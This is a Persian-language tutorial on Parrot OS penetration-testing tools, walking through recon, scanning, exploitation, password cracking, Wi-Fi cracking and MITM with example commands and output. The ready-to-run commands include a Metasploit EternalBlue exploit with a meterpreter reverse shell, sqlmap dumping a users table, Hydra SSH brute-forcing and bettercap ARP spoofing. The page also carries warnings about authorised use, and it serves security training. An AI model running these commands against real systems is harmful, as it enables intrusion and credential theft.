ابزارهای تست نفوذ در Parrot OS
بررسی عمیق ابزارهای اصلی تست نفوذ در Parrot: Metasploit، Burp، sqlmap، Wireshark و aircrack.
Parrot OS مجموعهای کامل از ابزارهای تست نفوذ را برای مراحل مختلف یک ارزیابی امنیتی ارائه میدهد. در این آموزش، ابزارهای اصلی هر مرحله از تست نفوذ را معرفی میکنیم و کاربرد عملی آنها را بررسی میکنیم.
استفادهٔ مسئولانه
ابزارهای تست نفوذ تنها باید روی سیستمهایی استفاده شوند که مالک آن هستید یا مجوز کتبی صریح برای تست دارید. استفادهٔ غیرمجاز از این ابزارها جرم محسوب میشود و پیگرد قانونی دارد.
چرخهٔ تست نفوذ
یک تست نفوذ استاندارد شامل مراحل زیر است:
1. Reconnaissance (جمعآوری اطلاعات)
2. Scanning (اسکن)
3. Exploitation (اکسپلویت)
4. Post-exploitation (پس از نفوذ)
5. Reporting (گزارشدهی)مرحله ۱: Reconnaissance
theHarvester — جمعآوری اطلاعات OSINT
# جمعآوری ایمیلها و زیردامنههای example.com
theHarvester -d example.com -b google,bing -l 100
# خروجی:
# [*] Emails found:
# ------------------
# info@example.com
# admin@example.com
# support@example.com
#
# [*] Hosts found:
# ------------------
# www.example.com:93.184.216.34
# mail.example.com:93.184.216.35Maltego — تحلیل ارتباطات
Maltego ابزاری گرافیکی برای کشف ارتباطات بین دامنهها، ایمیلها، افراد و سازمانهاست. از منوی Applications → Parrot Security → Information Gathering قابل دسترسی است.
Maltego Community Edition
نسخهٔ Community Edition رایگان Maltego در Parrot پیشفرض است و امکان ۱۲ transform در هر اجرا را فراهم میکند.
مرحله ۲: Scanning
Nmap — اسکنر پورت و سرویس
# اسکن کامل یک هدف
nmap -sV -sC -p- -T4 example.com
# خروجی:
# Nmap scan report for example.com (93.184.216.34)
# Host is up (0.041s latency).
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.9p1 Ubuntu
# 80/tcp open http nginx 1.18.0
# 443/tcp open ssl/http nginx 1.18.0
# 3306/tcp open mysql MySQL 8.0.32برای جزئیات کامل به آموزش Nmap مراجعه کنید.
Nikto — اسکنکنندهٔ وبسرور
# اسکن آسیبپذیریهای وبسرور
nikto -h http://example.com
# خروجی:
# + Target IP: 93.184.216.34
# + Server: nginx/1.18.0
# + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
# + OSVDB-3092: /admin/: This might be interesting...
# + OSVDB-3268: /icons/: Directory indexing found.مرحله ۳: Exploitation
Metasploit Framework
# راهاندازی کنسول Metasploit
sudo msfdb init
msfconsole
# در کنسول msf:
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.10
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.5
msf6 > exploitبرای آموزش کامل به آموزش Metasploit مراجعه کنید.
sqlmap — اکسپلویت SQL Injection
# تست یک URL برای SQLi
sqlmap -u "http://example.com/page?id=1" --dbs
# خروجی:
# [*] starting @10:00:00
# [INFO] testing connection to the target URL
# [INFO] testing if the target URL content is stable
# [INFO] GET parameter 'id' is vulnerable.
# available databases [3]:
# [*] information_schema
# [*] myapp_db
# [*] test_db
# استخراج جدولها
sqlmap -u "http://example.com/page?id=1" -D myapp_db --tables
# dump دادهها
sqlmap -u "http://example.com/page?id=1" -D myapp_db -T users --dumpBurp Suite — پروکسی تست نفوذ وب
Burp Suite ابزار اصلی برای تست وباپلیکیشنهاست:
۱. از منوی Applications → Parrot Security → Web Application Analysis → burpsuite اجرا کنید. ۲. مرورگر Firefox را بهصورت پیشفرض تنظیم کرده تا از پروکسی Burp (127.0.0.1:8080) استفاده کند. ۳. ترافیک را در Burp intercept و تغییر دهید.
Burp Suite Community Edition
نسخهٔ رایگان Burp در Parrot پیشفرض است. این نسخه شامل Proxy، Repeater و Intruder (محدود) است. نسخهٔ Professional نیازمند لایسنس است.
مرحله ۴: حملات رمز عبور
hashcat — کرک GPU
# کرک هش MD5 با wordlist
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# خروجی:
# 5f4dcc3b5aa765d61d8327deb882cf99:password
# Session..........: hashcat
# Status...........: Cracked
# Hash.Mode........: 0 (MD5)
# Time.Started.....: Mon Apr 1 10:00:00 2026 (5 secs)John the Ripper
# کرک فایل shadow
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
# مشاهدهٔ رمزهای کرکشده
john --show shadow.txtHydra — brute-force آنلاین
# حملهٔ brute-force به SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
# خروجی:
# [ATTEMPT] target 192.168.1.10 - login "admin" - pass "123456" - 1 of 14344399
# [22][ssh] host: 192.168.1.10 login: admin password: P@ssw0rd!مرحله ۵: حملات بیسیم
aircrack-ng — حملات Wi-Fi
# ۱. فعالکردن حالت مانیتور
sudo airmon-ng start wlan0
# ۲. شناسایی شبکهها
sudo airodump-ng wlan0mon
# ۳. ضبط handshake
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# ۴. کرک handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.capمجوز لازم است
حملات بیسیم فقط روی شبکههای خودتان یا شبکههایی که مجوز صریح دارید انجام دهید. حتی تست روی شبکههای همسایه بدون مجوز جرم است.
مرحله ۶: شنود شبکه
Wireshark — تحلیل ترافیک
# راهاندازی Wireshark
sudo wireshark &
# یا ضبط با tcpdump و باز کردن در Wireshark
sudo tcpdump -i eth0 -w capture.pcapBettercap — حملات MITM
# راهاندازی bettercap
sudo bettercap -iface eth0
# در کنسول bettercap:
# > net.probe on
# > net.recon on
# > set arp.spoof.targets 192.168.1.50
# > arp.spoof on
# > set net.sniff.filter "tcp port 80"
# > net.sniff onجدول مقایسهٔ ابزارها
| ابزار | مرحله | کاربرد | سطح |
|---|---|---|---|
| Nmap | Scanning | اسکن پورت | متوسط |
| Metasploit | Exploitation | فریمورک اکسپلویت | پیشرفته |
| sqlmap | Exploitation | اکسپلویت SQLi | متوسط |
| Burp Suite | Web Testing | پروکسی وب | متوسط |
| hashcat | Password | کرک GPU | متوسط |
| aircrack-ng | Wireless | حملات Wi-Fi | متوسط |
| Wireshark | Sniffing | تحلیل ترافیک | متوسط |
ابزارهای جانبی مفید
SearchSploit
# جستجوی اکسپلویت در ExploitDB
searchsploit eternalblue
searchsploit -m 41891.txt # کپی اکسپلویت به مسیر فعلیCrunch — تولید wordlist
# تولید تمام رمزهای ۶ رقمی
crunch 6 6 0123456789 -o passwords.txtWPScan — اسکنر وردپرس
# اسکن سایت وردپرس
wpscan --url https://example.com --enumerate uخطاهای رایج
ابزار اجرا نمیشود — permission denied
راهحل: برخی ابزارها نیاز به دسترسی root دارند:
sudo msfconsole
sudo wiresharkخطای "interface not found" در aircrack
راهحل:
# مشاهدهٔ رابطهای شبکه
iwconfig
# اگر wlan0 وجود ندارد، کارت وایرلس را بررسی کنید
# باید از حالت monitor پشتیبانی کند
sudo airmon-ng check kill
sudo airmon-ng start wlan0hashcat کارت گرافیک را نمیشناسد
# بررسی نصب درایور
hashcat -I
# نصب درایور NVIDIA (در صورت نیاز)
sudo apt install nvidia-driver firmware-nvidia-gspخلاصه و مرحلهٔ بعد
Parrot OS با مجموعهٔ کامل ابزارهای تست نفوذ، تمام مراحل یک ارزیابی امنیتی حرفهای را پوشش میدهد. هر ابزار دارای کاربرد تخصصی است و تسلط بر آنها به زمان و تمرین نیاز دارد.
بهعنوان گام بعدی:
- آموزش Metasploit را برای یادگیری عمیق اکسپلویت بخوانید
- آموزش Nmap را برای تسلط بر اسکن شبکه دنبال کنید
- آموزش ابزارهای حریم خصوصی را برای محافظت از خود ببینید
- آموزش معرفی ابزارها را برای نمای کلی مرور کنید
این صفحه در تاریخ ۵ تیر ۱۴۰۵ بهروزرسانی شده است.